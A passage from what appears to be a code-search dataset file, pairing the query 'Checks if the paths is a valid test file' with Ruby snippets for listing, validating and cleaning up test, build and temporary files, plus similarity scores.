FileUtils.mkdir_p(tmp_path)\n end", "def local_suite_files\n base = File.join(config[:test_base_path], config[:suite_name])\n glob = File.join(base, '*/**/*')\n Dir.glob(glob).reject do |f|\n chef_data_dir?(base, f) || File.directory?(f)\n end\n end", "def all_files\n Dir[@test_pattern].sort\n end", "def preclean_project\n # Clean-up non-useful files (if any)\n clean_msg = `make clean 2>&1`\n @log_file.puts \"\\nNettoyage du rรฉpertoire :\\n\\n#{clean_msg}\"\n \n # I want to be sure...\n FileUtils::rm_f Dir.glob(\"*.o\")\n FileUtils::rm_f Dir.glob(\"*~\")\n end", "def affected_files\n Dir[@result_dir + '/*.{ttf,eot,woff,svg}'].reject { |f| f[@file] }\n end", "def clean_up\n Dir.foreach(Dir.pwd) do |f|\n if !f.start_with?('tmp_') then next\n elsif File.directory?(f) then FileUtils.rm_rf(f)\n else FileUtils.rm(f)\n end\n end\nend", "def correction_with_tests_directory\n @tests_names.each do |t|\n correction_with_test(t)\n end\n end", "def test_files\n get_folder_files(TESTS_PATH)\n end", "def test_clean\n # Standard stuff\n assert_equal('/a/b/c', Pathname.new('/a/b/c').cleanpath)\n assert_equal('b/c', Pathname.new('./b/c').cleanpath)\n assert_equal('a', Pathname.new('a/.').cleanpath) # ***\n assert_equal('a/c', Pathname.new('a/./c').cleanpath)\n assert_equal('a/b', Pathname.new('a/b/.').cleanpath) # ***\n assert_equal('.', Pathname.new('a/../.').cleanpath) # ***\n assert_equal('/a', Pathname.new('/a/b/..').cleanpath)\n assert_equal('/b', Pathname.new('/a/../b').cleanpath)\n assert_equal('d', Pathname.new('a/../../d').cleanpath) # ***\n\n # Edge cases\n assert_equal('', Pathname.new('').cleanpath)\n assert_equal('.', Pathname.new('.').cleanpath)\n assert_equal('..', Pathname.new('..').cleanpath)\n assert_equal('/', Pathname.new('/').cleanpath)\n assert_equal('/', Pathname.new('//').cleanpath)\n\n assert_non_destructive\n end", "def helper_files\n glob = Dir.glob(File.join(test_folder, \"helpers\", \"*/**/*\"))\n glob.reject { |f| File.directory?(f) }\n end", "def clean_arb_dot_files(src)\n clean_list = $config[\"clean\"][\"remove_extentions\"].split(/,/)\n\n Find.find(src) do |path|\n next if File.basename(path) =~ /^\\._/\n clean_list.each do |ext|\n next if path !~ /\\.#{ext}/\n FileUtils.rm(path,$options) if File.exists? path\n end\n\n end\nend", "def teardown\n [\"file1\", \"file2\", \"file3\"].each {|f| FileUtils.rm f}\n Dir[\"test/backup/file*\"].each {|f| FileUtils.rm f}\n Dir[\"test/backup/*.tar.gz\"].each {|f| FileUtils.rm f}\n Dir.rmdir \"test/backup\" if File.exists? \"test/backup\"\n end", "def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago)\n FileList[source_pattern].map do |path|\n if File.mtime(path) > touched_since\n test = \"#{test_path}/#{File.basename(path, '.rb')}_test.rb\"\n test if File.exists?(test)\n end\n end.compact\nend", "def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago)\n FileList[source_pattern].map do |path|\n if File.mtime(path) > touched_since\n test = \"#{test_path}/#{File.basename(path, '.rb')}_test.rb\"\n test if File.exists?(test)\n end\n end.compact\nend", "def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago)\n FileList[source_pattern].map do |path|\n if File.mtime(path) > touched_since\n test = \"#{test_path}/#{File.basename(path, '.rb')}_test.rb\"\n test if File.exists?(test)\n end\n end.compact\nend", "def clean_dir_root\n File.join(root_dir, \"test\", \"tmp\", \"cleanreps\")\n end", "def clean_path(path)\r\n Dir[File.join(path, '*.rb')].each do |filename|\r\n File.delete(filename) if filename =~ /^[0-9]{3}00 .*/\r\n end\r\nend", "def teardown\n return unless File.directory?(RESULTS_ROOT)\n FileUtils.rm_rf(\"#{RESULTS_ROOT}/.\", secure: true)\n end", "def fallback_mode_test_files\n all_test_files_to_run\n end", "def _write_failed_paths_in_tmp\n FileUtils.mkdir_p('tmp')\n File.open('./tmp/rspec_guard_result','w') do |f|\n f.puts _failed_paths.join(\"\\n\")\n end\n rescue\n # nothing really we can do, at least don't kill the test runner\n end", "def test_clean_checkout_should_not_remove_tracked_files\n with_sandboxed_git do |proj_dir, git|\n tracked_file = File.join(proj_dir, 'tracked.txt')\n FileUtils.touch tracked_file\n sandbox_git_add_and_commit(proj_dir, File.basename(tracked_file))\n untracked_file = File.join(proj_dir, 'untracked.txt')\n git.clean_checkout\n assert File.exist? tracked_file\n assert_false File.exist? untracked_file\n end\n end", "def clean(dir)\n\tFind.find(dir){|f|\n\t\tnext unless FileTest.file?(f)\n\t\tif File.basename(f) != \".gitkeep\"\n\t\t\tFile.delete(f)\n\t\tend\n\t}\nend", "def clean\n cache = Cache.instance\n # remove all built files\n cache.targets(false).each do |target|\n cache.remove_target(target)\n FileUtils.rm_f(target)\n end\n # remove all created directories if they are empty\n cache.directories(false).sort {|a, b| b.size <=> a.size}.each do |directory|\n cache.remove_directory(directory)\n next unless File.directory?(directory)\n if (Dir.entries(directory) - ['.', '..']).empty?\n Dir.rmdir(directory) rescue nil\n end\n end\n cache.write\n end", "def map_to_spec(changed)\n paths = changed.map do |path|\n if path.match? '/spec/'\n path\n elsif path.match? '/app/'\n path.gsub('/app/', '/spec/').gsub('.rb', '_spec.rb')\n elsif path.match? '/lib/'\n path.gsub('/lib/', '/spec/').gsub('.rb', '_spec.rb')\n end\n end\n paths.compact.uniq.filter { |path| Pathname.new(path).exist? }\n end", "def clean_old_output()\n deletable_filenames = []\n wd = FileUtils.pwd()\n all_filenames = ['/public/output/*'].collect!{|e| Dir.glob(wd + e)}.flatten.compact\n# DEBUG\n# logger.debug \"\\r\\n=== Cleaning old output files:\"\n# logger.debug \"Found #{all_filenames.size} files (either new or old). Checking last access times...\"\n\n all_filenames.each { |filename| # For each filename found, check if it is old enough to be removed:\n last_access_time = File.open(filename).atime\n dt = DateTime.new( last_access_time.year, last_access_time.month, last_access_time.day, last_access_time.hour, last_access_time.min, last_access_time.sec )\n diff = DateTime.now - dt\n min = (diff.to_f * 24 * 60) # Convert the difference from nanoseconds to minutes\n if ( min > 2 ) # (Streaming files in output/* should take less than 2 mins)\n# DEBUG\n# logger.debug \"'#{filename}': is #{min} minutes older, adding to the list of deletable files.\"\n deletable_filenames << filename\n else\n# DEBUG\n# logger.debug \"'#{filename}': is just #{min} minutes older, skipping.\"\n end\n }\n# DEBUG\n# logger.debug \"Found #{deletable_filenames.size} old files. Erasing them...\"\n # Kill'em all:\n FileUtils.rm_f( deletable_filenames )\n end", "def clean_build_directory\n FileUtils.rm_rf Dir.glob(File.join(@project.build_path, '*'))\n end", "def cleanall\n FileUtils.rm_r(OUTPUT_DIR, force: true, verbose: true)\n end", "def tidy_gem(path)\n # remove top level tests and cache folders\n Dir.glob(\"#{path}/*\").each do |path|\n next unless File.directory?(path)\n folder = File.basename(path)\n if %w[test tests spec features benchmark cache doc].include?(folder)\n FileUtils.rm_rf(path)\n end\n end\n\n Dir.glob(\"#{path}/**/*\").each do |path|\n next unless File.file?(path)\n ext = File.extname(path)\n if %w[.rdoc .md .markdown].include?(ext) or\n path =~ /LICENSE|CHANGELOG|README/\n FileUtils.rm_f(path)\n end\n end\n end", "def initialize_clean\n self.clean_globs ||= %w[diff diff.txt TAGS ri deps .source_index\n *.gem **/*~ **/.*~ **/*.rbc]\n end", "def test_files\n Dir.open(TESTS_CODE) do |dir|\n dir.entries.grep(/^#{TEST_PREFIX}/)\n end\nend", "def helper_files\n glob = File.join(config[:test_base_path], 'helpers', '*/**/*')\n Dir.glob(glob).reject { |f| File.directory?(f) }\n end", "def teardown\n FileUtils.rm_r(test_log_directory) if File.directory?(test_log_directory)\n end", "def teardown\n FileUtils.rm_r(test_log_directory) if File.directory?(test_log_directory)\n end", "def remove_old_files\n Dir\n .glob(\"#{@tmp_dir_path}/**/*\")\n .each { |path| FileUtils.rm_rf(path) if old?(path) }\n end", "def filter_nonexistent(modified_files); end", "def testfiles(is_refresh = false)\n return @test_files if @test_files and not is_refresh\n return @test_files =[ name ] if name =~ /\\.xlw$/ # TO-DO implement better listing of xlw files\n @test_files, error_array = List.testfiles(self.name)\n error_array.each {|e| errors.add('Name:',e)}\n return @test_files\n end", "def teardown\n FileUtils.chdir(@default_folder)\n FileUtils.rm_r('tmp')\n\n assert_false(File.exists?('tmp'))\n end", "def purge_output\n Dir.glob dir(\"output/**/*\") do |item|\n next if File.directory? item\n File.delete item unless @touchedfiles.include? undir(item)\n end\n end", "def local_suite_files\n base = File.join(config[:test_base_path], config[:suite_name])\n Util.safe_glob(base, \"*/**/*\").reject do |f|\n chef_data_dir?(base, f) || File.directory?(f)\n end\n end", "def teardown\n Dir.chdir '..'\n FileUtils.rm_rf @tempdirname\n end", "def obsolete_files\n out = (existing_files - new_files - new_dirs + replaced_files).to_a\n Jekyll::Hooks.trigger :clean, :on_obsolete, out\n out\n end", "def clear!\n \n # Removes old files in the test directory\n ['to', 'from'].each do |folder|\n Dir.glob(File.expand_path(File.dirname(__FILE__) + \"/data/#{folder}/*\")).each do |file|\n FileUtils.rm(file)\n end\n end\n \n {'some_zip_files.zip' => 'zip_real', 'test_package.rar' => 'rar_real'}.each_pair do |first, last|\n\n # Removes old files in the test directory\n Dir.glob(File.expand_path(File.dirname(__FILE__) + \"/data/#{last}/*\")).each do |file|\n FileUtils.rm(file) if Mimer.identify(file).text?\n end\n\n src = File.expand_path(File.dirname(__FILE__) + \"/data/o_files/#{first}\")\n dest = File.expand_path(File.dirname(__FILE__) + \"/data/#{last}/#{first}\")\n FileUtils.copy_file(src, dest)\n end\n\n # Removes old files in the test directory\n Dir.glob(File.expand_path(File.dirname(__FILE__) + \"/data/movie_to/*\")).each do |file|\n FileUtils.rm(file) if Mimer.identify(file).text?\n end\n \n {'test_package.rar' => 'to', 'some_zip_files.zip' => 'to'}.each do |first,last|\n src = File.expand_path(File.dirname(__FILE__) + \"/data/o_files/#{first}\")\n dest = File.expand_path(File.dirname(__FILE__) + \"/data/from/#{first}\")\n FileUtils.copy_file(src, dest)\n end\nend", "def all_files_except_git\n Dir.glob('*', File::FNM_DOTMATCH).delete_if { |file| file =~ /\\A\\.{1,2}\\z|\\A\\.git\\z/ }\n end", "def test_list(path)\n if File.basename(path) =~ /^\\W/\n [] # skip .hiddens and such\n elsif File.directory?(path) then\n puts \"Looking for tests in #{path}\"\n Dir.entries(path).\n collect { |entry| test_list(File.join(path,entry)) }.\n flatten.\n compact\n elsif path =~ /\\.rb$/\n puts \"Found #{path}\"\n [path]\n #[path[/\\S+\\/(\\S+)$/,1]]\n end\nend", "def clean_files\n FileUtils.rm(Dir[File.join(Rails.root, 'public/sitemap*.xml.gz')])\n end", "def full_test_dir\n @full_test_dir ||= full_class_dir.gsub(src_dir, model.spec_dir)\n end", "def test_cases\n @test_cases ||= Dir.glob(test_glob)\n end", "def clean()\n\t\ttmpdir = Dir.open(@tmpout) do |dir|\n\t\t\tdir.each do |file|\n\t\t\t\tif file != \".\" and file != \"..\" then\n\t\t\t\t\tFile.unlink(@tmpout + \"/\" + file)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tDir.rmdir @tmpout\n\tend", "def clean_up\n @files.each {|file| FileUtils.remove(file.path)}\n end", "def test_cases\n @test_cases ||= Dir.glob(model.spec_dir + '**/**/?*Spec.as')\n end", "def tracked_files\n all_files.reject { |f| ignore_matcher.matched?(f) }\n end", "def test_files\n code_files_in(tests_dir, CPP_EXTENSIONS)\n end", "def filter_directories(modified_files); end", "def clean\n #rm_r(srcdir)\n rm_r(blddir)\n #rm_r(libdir)\n end", "def check_clean_status_task\n raise \"The current working copy contains modifications\" if `#{git} ls-files -m`.split(\"\\n\").any?\n end", "def files_filtering files\n return files unless @file_regexp\n f = files.select do |file|\n test_name_by_date file\n end\n f\n end", "def skip_clean? path\n true\n end", "def testInvalidatedAlreadyTriedPathsDueToDependencies\n # TODO: Code the already tried paths invalidated feature, and uncomment after\n# executeSimpleTest(\n# [ [ 'T1', 'R3', 10, 3, ['T2'], '==='],\n# [ 'T2', 'R4', 500, 2, [], ' =='],\n# [ 'T3', 'R1', 600, 2, ['T2'], '=='],\n# [ 'T4', 'R1', 400, 2, ['T2', 'T7'], ' =='],\n# [ 'T5', 'R2', 300, 2, ['T2', 'T7'], '=='],\n# [ 'T6', 'R2', 200, 2, ['T7'], ' =='],\n# [ 'T7', 'R5', 700, 2, [], ' =='],\n# [ 'T8', 'R6', 20, 3, ['T7'], '==='] ] )\n executeSimpleTest(\n [ [ 'T1', 'R3', 10, 3, ['T2'], '==='],\n [ 'T2', 'R4', 500, 2, [], ' =='],\n [ 'T3', 'R1', 600, 2, ['T2'], ' =='],\n [ 'T4', 'R1', 400, 2, ['T2', 'T7'], '=='],\n [ 'T5', 'R2', 300, 2, ['T2', 'T7'], '=='],\n [ 'T6', 'R2', 200, 2, ['T7'], ' =='],\n [ 'T7', 'R5', 700, 2, [], ' =='],\n [ 'T8', 'R6', 20, 3, ['T7'], '==='] ] )\n end", "def clean_installation\n clean_paths.each { |path| FileUtils.rm_rf(path) }\n end", "def test_files\n `touch ../harness/test/foo ../harness/test/bar`\n f = @td.files\n assert_equal(2, f.length)\n assert(f.find \"foo\")\n assert(f.find \"bar\")\n end", "def clean_up(cmd = nil)\n FileUtils.rm(\n Dir.glob('build/*.{rb,c,js}')\n )\n if cmd == :all\n puts \"cleaning up...\"\n FileUtils.rm_f 'build/app'\n FileUtils.rm_f 'build/app.js'\n FileUtils.rm_f 'build/app.html'\n FileUtils.rm_rf 'build/App.app'\n FileUtils.rm_rf 'build/ios'\n FileUtils.rm_rf 'build/tvos'\n end\nend", "def clean_cache(staging_path, metadata)\n actual_file_list = Dir.glob(File.join(staging_path, \"**/*\"))\n expected_file_list = []\n CookbookMetadata.new(metadata).files { |_, path, _| expected_file_list << File.join(staging_path, path) }\n\n extra_files = actual_file_list - expected_file_list\n extra_files.each do |path|\n if File.file?(path)\n FileUtils.rm(path)\n end\n end\n end", "def pre_process_minitest(orig_results_dir)\n puts \"Current directory is #{@base_dir}\"\n puts \"Pre-processed tests run data in #{orig_results_dir}\"\n puts \"Test results will be stored in: #{test_results_dir}\"\n\n # There is a bunch of moving that needs to happen with coverage/minitest...\n FileUtils.rm_rf \"#{orig_results_dir}/coverage\" if Dir.exist? \"#{orig_results_dir}/coverage\"\n FileUtils.rm_rf \"#{@base_dir}/coverage\" if Dir.exist? \"#{@base_dir}/coverage\"\n FileUtils.rm_rf \"#{test_results_dir}/coverage\" if Dir.exist? \"#{test_results_dir}/coverage\"\n\n FileUtils.rm_rf \"#{orig_results_dir}/minitest\" if Dir.exist? \"#{orig_results_dir}/minitest\"\n FileUtils.rm_rf \"#{@base_dir}/minitest\" if Dir.exist? \"#{@base_dir}/minitest\"\n FileUtils.rm_rf \"#{test_results_dir}/minitest\" if Dir.exist? \"#{test_results_dir}/minitest\"\n\n FileUtils.rm_rf \"#{orig_results_dir}/test\" if Dir.exist? \"#{orig_results_dir}/test\"\n FileUtils.rm_rf \"#{@base_dir}/test\" if Dir.exist? \"#{@base_dir}/test\"\n # remove the test directory if it is empty (size == 2 for . and ..)\n if Dir.exist?(\"#{test_results_dir}/test\") && Dir.entries(\"#{test_results_dir}/test\").size == 2\n FileUtils.rm_rf \"#{test_results_dir}/test\"\n end\n FileUtils.rm_rf \"#{test_results_dir}/minitest\" if Dir.exist? \"#{test_results_dir}/minitest\"\n\n # Create the test_results directory to store all the results\n return test_results_dir\n end", "def clean_test_case\n if File.exists?(@local_file_download_destination)\n File.delete(@local_file_download_destination)\n end\n end", "def clean_up\n puts \"Run the following commands to clean up your test data:\"\n puts \"oc delete pv --all\"\n puts \"oc delete pvc --all\"\n puts \"Deleting temporary test files\"\n `rm -rf #{$templates_path}/*`\nend", "def tidy_up\n return if DEBUG\n\n puts heading(\"Tidying up PWD\")\n\n FileUtils.remove(Dir[\"#{FileUtils.pwd}/bugsnag-*.tgz\"])\nend", "def teardown\n File.delete 'file.xml' if File.exists?('file.xml')\n File.delete '.file.xml.duxml' if File.exists?('.file.xml.duxml')\n end", "def filter_invalid_files\n real_files=[]\n @files.each do |file|\n if @edit_in_place\n if File.writable?(file)\n real_files << file \n else\n puts \"ERROR: File #{file} is not writable, ignoring.\"\n end\n else\n if File.readable?(file)\n real_files << file \n else\n puts \"ERROR: File #{file} is not readable, ignoring.\"\n end\n end\n end\n @files=real_files\n end", "def clean_arb_named_files(src)\n\n clean_list = $config[\"clean\"][\"remove_named\"].split(/,/)\n\n Find.find(src) do |path|\n next if File.basename(path) =~ /^\\._/\n clean_list.each do |name|\n next if path !~ /#{name}\\./\n FileUtils.rm(path,$options) if File.exists? path\n end\n\n end\nend", "def clean! dir, api\n keep_files = [key(api, :daily), key(api, :monthly)]\n Dir.entries(dir).each do |e|\n ::File.delete(::File.join(dir, e)) unless keep_files.include?(e) || e.match(/\\A\\./)\n end\n end", "def tests_names_building(tests_dir)\n dir = Pathname.new(tests_dir).realpath\n (Dir::entries(tests_dir) - ['.', '..']).sort!.collect! { |e| dir + e }\n end", "def spec_file_names\n return @spec_file_names if @spec_file_names\n error \"No #{Noop::Config.dir_path_task_spec} directory!\" unless Noop::Config.dir_path_task_spec.directory?\n @spec_file_names = find_files(Noop::Config.dir_path_task_spec, Noop::Config.dir_path_task_spec) do |file|\n file.to_s.end_with? '_spec.rb'\n end\n end", "def cleanup_files\n FileUtils.rm_rf(File.join(Rails.root, \"tmp\"))\n end", "def handle_rake_test_task\n test_task = @target\n all_tests = test_task.file_list\n\n @target = test_task.name\n @globs << test_task.file_list\n @options[:force] = true\n\n lambda do |changed|\n tests = all_tests & changed\n\n basenames = (changed - tests).collect do |f|\n File.basename(f).split(\".\").first\n end\n\n tests.concat all_tests.\n select { |t| basenames.any? { |b| t =~ /#{b}/ } }\n\n tests = all_tests.dup if tests.empty?\n\n # Nice API, Rake::TestTask.\n ENV[\"TEST\"] = \"{#{tests.uniq.join(',')}}\"\n end\n end", "def clean_dir\n\n path = self.get_dir\n _clean_dir(path)\n end" ]
[ "0.70650643", "0.6703281", "0.63987005", "0.634393", "0.6166886", "0.60558796", "0.5962308", "0.5946638", "0.5909081", "0.5880959", "0.5846157", "0.5843148", "0.5783122", "0.5782859", "0.575021", "0.5728827", "0.57137936", "0.57040197", "0.56911045", "0.5689036", "0.5665183", "0.56294996", "0.5626622", "0.5623658", "0.56234366", "0.56207085", "0.56156904", "0.5610138", "0.5597955", "0.5595118", "0.5584922", "0.5584154", "0.55785215", "0.5578511", "0.55388534", "0.55386335", "0.5538256", "0.55345696", "0.55345696", "0.55345696", "0.55237895", "0.5523314", "0.55090976", "0.55063564", "0.549788", "0.5470368", "0.54626304", "0.54463696", "0.54315495", "0.5427353", "0.54229635", "0.54224616", "0.5420135", "0.54169714", "0.54142725", "0.54090375", "0.5402204", "0.5402204", "0.5397328", "0.53952515", "0.5385557", "0.5379316", "0.53702617", "0.5364219", "0.53600556", "0.53483194", "0.5347578", "0.5335688", "0.5324", "0.53212124", "0.5308053", "0.5298141", "0.5292796", "0.5283348", "0.527899", "0.52697474", "0.5268896", "0.52564895", "0.52509207", "0.52494425", "0.5248791", "0.5248706", "0.5236878", "0.5220276", "0.52142656", "0.52132267", "0.520654", "0.5202919", "0.52027184", "0.5202457", "0.51885486", "0.5186946", "0.51844394", "0.51801854", "0.5169576", "0.5156482", "0.51548463", "0.514627", "0.51396865", "0.5139625" ]
0.72773135
0
Checks if the paths is a valid test file.
def test_file?(path) @tests_files.include?(path) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def valid?\n ensure_file_open!\n\n ['Makefile', 'submission/', 'tests/'].all? { |entry| @file.find_entry(entry).present? }\n end", "def valid_file_path?(path)\n path && File.exist?(path) && File.readable?(path)\n end", "def valid_file?(path)\n case path\n when %r|/abcdef$|, %r|^\\./tmp/db/\\w+?/database.yml$|\n return false\n end\n return true\n end", "def validate_input_files\n file_validation = FileValidation.new(input_files)\n raise_error(file_validation.errors) unless file_validation.files_exist? \n raise_error(file_validation.errors) unless file_validation.files_are_ascii?\n true\n end", "def valid?\n File.exist?(fullpath)\n end", "def validate_paths(paths)\n normalize_paths paths\n nil\nend", "def valid?\n File.exist?(path) && File.readable?(path)\n end", "def valid_path path\n path and File.exists? path\n end", "def test_file(path)\n return File.file?(path)\nend", "def check_file_presence\n spec.icons.values.each do |path|\n fail_if_not_exist \"Icon\", path\n end\n\n if spec.browser_action\n fail_if_not_exist \"Browser action popup\", spec.browser_action.popup\n fail_if_not_exist \"Browser action icon\", spec.browser_action.icon\n end\n\n if spec.page_action\n fail_if_not_exist \"Page action popup\", spec.page_action.popup\n fail_if_not_exist \"Page action icon\", spec.page_action.icon\n end\n\n if spec.packaged_app\n fail_if_not_exist \"App launch page\", spec.packaged_app.page\n end\n\n spec.content_scripts.each do |content_script|\n content_script.javascripts.each do |script_path|\n fail_if_not_exist \"Content script javascript\", script_path\n end\n content_script.stylesheets.each do |style_path|\n fail_if_not_exist \"Content script style\", style_path\n end\n end\n\n spec.background_scripts.each do |script_path|\n fail_if_not_exist \"Background script style\", script_path\n end\n\n fail_if_not_exist \"Background page\", spec.background_page\n fail_if_not_exist \"Options page\", spec.options_page\n\n spec.web_intents.each do |web_intent|\n fail_if_not_exist \"Web intent href\", web_intent.href\n end\n\n spec.nacl_modules.each do |nacl_module|\n fail_if_not_exist \"NaCl module\", nacl_module.path\n end\n\n spec.web_accessible_resources.each do |path|\n fail_if_not_exist \"Web accessible resource\", path\n end\n end", "def check_paths paths\n exist_count = paths.inject(0){|cnt, path| cnt += 1 if exists?(path); cnt}\n raise \"Indeterminate output state\" if (exist_count > 0) && (exist_count < paths.size)\n return true if exist_count == 0\n false\n end", "def has_tests?\n FileList[test_pattern].any?\n end", "def file_correct?(file_path)\n raise 'ERROR: Is your file path correct ?' unless File.exist?(file_path)\n end", "def valid?\n return false unless @paths.count > 1\n @paths.each do |p|\n return false unless p.valid?\n end\n true\n end", "def check_valid_file filename\n #check if it has parents\n if filename =~ /(\\.){2}/\n return false\n end\n #Check root folder\n if !(filename =~ /^#{@dirname}/o)\n return false\n end\n\n File.exist?(filename)\n end", "def file_verified?(filename)\n if !File.exists?(filename)\n notifier.test_file_missing(filename)\n puts \"=> ERROR: could not find test file: #{filename}\"\n return false\n end\n return true\n end", "def check_file?(path)\n Actions.check_file path\n rescue FileError\n false\n else true\n end", "def valid_path?(path)\n !!(path =~ PATH_REGEX)\n end", "def validate_file_path\n base_path = ::File.realpath(self.class.temp_dir)\n @path = ::File.realpath(params.permit(:file)[:file], base_path)\n unless @path.start_with?(base_path)\n raise ViewComponent::SystemTestControllerNefariousPathError\n end\n end", "def error_check(paths)\r\n e = check_files(paths)\r\n Message::Error.no_files(e) unless e.empty? && file_order.any?\r\n\r\n file_order.map! { |f| File.absolute_path(f) }\r\n\r\n e = check_extnames\r\n self.ext ||= \"\"\r\n Message::Warning.ext_warn(e, ext) unless e.empty?\r\n end", "def validate_paths(paths)\n paths = [paths] unless paths.is_a?(Array)\n raise 'The provided paths must all be Strings' \\\n unless paths.all? { |path| path.is_a?(String) }\n\n Wgit::Utils.process_arr(paths, encode: false)\n raise 'The provided paths cannot be empty' if paths.empty?\n\n paths\n end", "def validate_paths!\n ensure_clean_build_path!\n ensure_existing_target_path!\n end", "def check_file_patterns\n FILE_PATTERNS.each do |attr_name|\n if respond_to?(\"_validate_#{attr_name}\", true)\n send(\"_validate_#{attr_name}\")\n else\n validate_nonempty_patterns(attr_name, :error)\n end\n end\n\n _validate_header_mappings_dir\n if consumer.spec.root?\n _validate_license\n _validate_module_map\n end\n end", "def check_file(path)\n raise Error, \"The path '#{path}' does not exist or is not a file\" unless path.file? || attrs[:exists] == false\n end", "def valid_path?(path)\n if path != '/' && path !~ /^\\/.*\\/$/\n puts \"Path '#{path}' must begin and end with a forward slash.\"\n return false\n end\n\n true\n end", "def valid?\n prefix = File.expand_path(root_path)\n prefix == File.expand_path(@file)[0...prefix.size]\n end", "def validFile? filename\n if !filename.kind_of? String\n return false\n elsif File.exists? filename\n return File.readable? filename\n else\n return false\n end\nend", "def file? filepath\n self.system \"test -f #{filepath}\"\n end", "def file_exists?(path)\n run(\"test -f #{path}\").success?\n end", "def is_valid?\n %w(mov MOV).include?(self.path.split(\".\").last)\n end", "def check_file(path, extnames)\n check_file_extname(path, extnames)\n check_file_exist(path)\n end", "def test_validate_file\n file_list = [\n '0|0|SYSTEM>569274(100)|1553184699.650330000|288d',\n '1|288d|569274>735567(12):735567>561180(3):735567>689881(2):SYSTEM>532260(100)|1553184699.652449000|92a2',\n '2|92a2|569274>577469(9):735567>717802(1):577469>402207(2):SYSTEM>794343(100)|1553184699.658215000|4d25'\n ]\n assert validate_file file_list, [0, 0], '0'\n end", "def is_path?\n !!((@file.is_a?(String) || @file.is_a?(Pathname)) && !@file.blank?)\n end", "def unsafe_validate(paths)\n validate_path(paths)\n end", "def sanity_checks\n abort 'The path given does not exist or does not contain csv files' if Dir[\"#{@opts[:dir]}/*.csv\"].empty?\n begin\n Regexp.new @opts[:regex]\n rescue => e\n abort \"#{@opts[:regex]} is not a valid regular expression\"\n end\n end", "def has_unit_tests? # :nodoc:\n not test_files.empty?\n end", "def test_file_exists?\n\t\tif @test_file_name.nil?\n\t\t\tputs \"No test data given to run. Exiting.\"\n\t\t\texit(0)\n\t\tend\n\tend", "def check_files(paths)\r\n Message::Error.error_puts(\"No files to load\") if paths.nil?\r\n\r\n errors = []\r\n paths.each do |f|\r\n f = \"nil\" if f.nil?\r\n\r\n if Dir.exist?(f)\r\n # Get files in directory\r\n Dir[\"#{f}/*\"].each { |x| Dir.exist?(x) || file_order << x }\r\n next\r\n end\r\n\r\n if File.exist?(f)\r\n file_order << f\r\n next\r\n end\r\n\r\n # Invalid path\r\n errors << File.basename(f)\r\n end\r\n\r\n errors\r\n end", "def valid_file?(file,type)\n\tif type == \"csv\"\n\t\tif file.nil?\n\t\t\tputs \"Please provide a source .csv file\"\n\t\t\texit 0\n\t\tend\n\tend\n\tif !File.exists?(file)\n\t\tputs \"#{file} doesn't seem to exist. Please check\\nyour file path and try again.\"\n\t\texit 0\n\tend\n\ttrue\nend", "def relative? ; all?{ |path| FileTest.relative?(path) } ; end", "def file_chk( path )\n if File.exist?( path ) == false\n raise JackRDF_Critical, \"#{path} is not a valid file\"\n end\n end", "def valid_path?(path)\n !!self.run_state.active_permissions.map(&:pattern).detect do |regex|\n regex.match(path)\n end\n end", "def malformed?\n abs_seq = File.expand_path(@sequential_dir)\n abs_mon = File.expand_path(@monolithic_dir)\n !(File.exist?(abs_seq) && File.exist?(abs_mon))\n end", "def arguments_valid?\n # check the parameters have values\n return false unless @options.has_key?(:hcdFile)\n return false unless @options.has_key?(:etdFile) \n return false if @options[:mzArray].empty?\n return false unless (@options[:mzTolerance] > 0.0 || @options[:ppmTolerance] > 0.0 )\n # check the file exists\n return false unless File.file?(@options[:hcdFile])\n return false unless File.file?(@options[:etdFile])\n true\n end", "def expected_files?(files)\n files = supported(files)\n hn = highest_number(files)\n\n return true if hn == files.size\n\n raise Aur::Exception::LintDirBadFileCount, \"#{files.size}/#{hn}\"\n end", "def test_valid_doi\n File.foreach File.dirname(__FILE__) + '/fixtures/good-doi.txt' do |doi|\n assert SimpleDOI.valid?(doi), \"#{doi} should be considered a valid DOI\"\n end\n end", "def check\n prefix = File.basename(@file)\n if File.exist?(@file)\n @message = \"#{prefix} : Expected file exists\"\n true\n else\n @message = \"#{prefix} : Expected file not found.\"\n false\n end\n end", "def file?(path)\n # :nocov:\n false\n # :nocov:\n end", "def valid_cg_directory?\n valid = true\n list = ['Rules', 'nanoc.yaml', 'content', 'lib']\n list.each do |filename|\n unless File.exist?(filename)\n valid = false\n say(\"Required file not found: #{filename}\")\n end\n end\n valid\n end", "def should_validate?(_filename)\n raise NotImplementedError\n end", "def user_path?(file); end", "def has_listed_files?\n file_count = 0\n all_valid = true\n files_file_path = FileLocations.files_file_path(@source_dir)\n ::CSV.foreach(files_file_path, headers: true).each do |csv_row|\n next if csv_row.blank?\n # Each file listed in FILES.csv should be valid\n row = strip_csv_row(csv_row)\n file_count += 1\n all_valid = all_valid && has_valid_file?(row, file_count)\n end\n # FILES.csv should have atleast 1 row\n unless file_count > 0\n @errors << \"Metadata file #{files_file_path} has no rows\"\n all_valid = false\n end\n # There should be no unverified files\n all_valid\n end", "def validate_filepath(config, *keys)\n hash = retrieve_value(config, keys)\n filepath = hash[:value]\n\n # return early if we couldn't walk into hash and find a value\n return false if (filepath.nil?)\n\n # skip everything if we've got an argument replacement pattern\n return true if (filepath =~ TOOL_EXECUTOR_ARGUMENT_REPLACEMENT_PATTERN)\n\n if (not @file_wrapper.exist?(filepath))\n\n # See if we can deal with it internally.\n if GENERATED_DIR_PATH.include?(filepath)\n # we already made this directory before let's make it again.\n FileUtils.mkdir_p File.join(File.dirname(__FILE__), filepath)\n @stream_wrapper.stderr_puts(\"WARNING: Generated filepath #{format_key_sequence(keys, hash[:depth])}['#{filepath}'] does not exist on disk. Recreating\")\n\n else\n # no verbosity checking since this is lowest level anyhow & verbosity checking depends on configurator\n @stream_wrapper.stderr_puts(\"ERROR: Config filepath #{format_key_sequence(keys, hash[:depth])}['#{filepath}'] does not exist on disk.\")\n return false\n end\n end\n\n return true\n end", "def test_file_existence(filename, path, file_data = nil)\n return true if file_data&.exists?(filename.downcase)\n return true if File.exist?(format(Common_filename_format, path, filename).downcase)\n false\n end", "def check_for_errors\n @errors += Tags.tag_errors(path)\n\n # Check for invalid filenames\n if (whitespace_led_component = Pathname(path).each_filename.to_a.find { |p| p.start_with?(/\\s+/) })\n @errors << \"path contains a file or directory name with leading whitespace: 